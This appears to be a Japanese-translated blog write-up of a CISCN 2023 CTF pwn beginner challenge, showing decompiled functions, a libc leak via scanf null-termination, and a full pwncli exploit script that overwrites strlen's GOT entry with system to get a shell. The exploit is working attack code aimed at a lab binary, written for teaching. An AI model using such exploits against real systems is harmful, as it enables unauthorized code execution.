BuringStraw

BuringStraw

CISCN 2023 東北地域 pwn

(翻訳中 1/4)

初心者チャレンジ#

一文バージョン:strlen の GOT テーブルを変更する

まず、sub_96B から libc アドレスをリークします:

int sub_96B()
{
  int v1; // [rsp+Ch] [rbp-264h] BYREF
  __int64 v2[44]; // [rsp+10h] [rbp-260h] BYREF
  char v3[252]; // [rsp+170h] [rbp-100h] BYREF
  int v4; // [rsp+26Ch] [rbp-4h]

  v4 = 4;
  puts("このチャレンジへようこそ!");
  v2[0] = (__int64)&puts;
  __isoc99_scanf("%252s", v3);
  puts("がんばって!");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 15 && v1 <= 21 )
    v4 = v1;
  else
    puts("ダメ!");
  puts("ギフト:");
  return puts((const char *)&v2[v4]);
}

目標は、v2 [0] にある puts のアドレスを取得することです。
scanf の % s は文字列の後ろに 0 を補完し、長さ制限はこの 0 を含みません。したがって、252 文字入力するだけで v4 を 0 で上書きし、その後 if に入らない数値を入力すれば良いです。

次に見てみましょう:

int sub_A31()
{
  size_t v0; // rax

  puts("index>>");
  __isoc99_scanf("%d", &dword_2020BC);
  if ( (unsigned int)dword_2020BC >= 0x20 )
  {
    puts("ダメ!");
    exit(1);
  }
  puts("入力>>");
  read(0, byte_2020A0, 0x20uLL);
  v0 = strlen(byte_2020A0);
  printf("データの長さは %d です\n", v0);
  puts("さようなら~");
  read(0, &byte_2020A0[dword_2020BC], 4uLL);
  return close(1);
}

2020a0+0x20>2020bc なので、このインデックスを上書きして別の場所に書き込むことができます。
strlen の GOT は 2020a0-136 の位置にあります。負数は 2 の補数を取ります。

Exp:

#!/usr/bin/env python3

from pwncli import *

cli_script()

libc: ELF = gift.libc
filename = gift.filename  # 現在のファイル名
is_debug = gift.debug  # デバッグモードかどうか
is_remote = gift.remote  # リモートかどうか
gdb_pid = gift.gdb_pid  # デバッグの場合のGDBのPID


if gift.remote:
    libc = ELF("./libc.so.6")
    gift[libc] = libc

sla("challenge!", "a" * 252)

sla("luck!", "0")

lb = recv_current_libc_addr(0x80970, 0x1000)

libc.address = lb

leak_ex2(lb)

sla("index>>\n", "0")

sa("input>>", flat({0: "/bin/sh;", 0x1C: p32(0xFFFFFF78)}))
print(hex(libc.sym.system))
sa("bye", flat(libc.sym.system)[:-4])

rl()
ia()

注:

  1. sub_96b の配列の後続の位置には、ld.so の関数アドレスが表示されます(libc のターゲットバージョンを使用する場合のみ)。利用方法はこちら:https://www.cnblogs.com/7resp4ss/p/17530599.html

  2. patchelf を使用してプログラムの libc とld.so(インタープリタ)を変更します。libc だけを変更すると、プログラムがクラッシュする可能性があります。

patchelf --set-interpreter /home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so /home/w1nd/Desktop/pwn
patchelf --replace-needed libc.so.6 /home/w1nd/Desktop/buu/libc-2.23-x64.so pwn

参照:https://www.cnblogs.com/xshhc/p/16777707.html

  1. Linux ELF とダイナミックリンクライブラリ https://juejin.cn/post/6939332933677219848
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。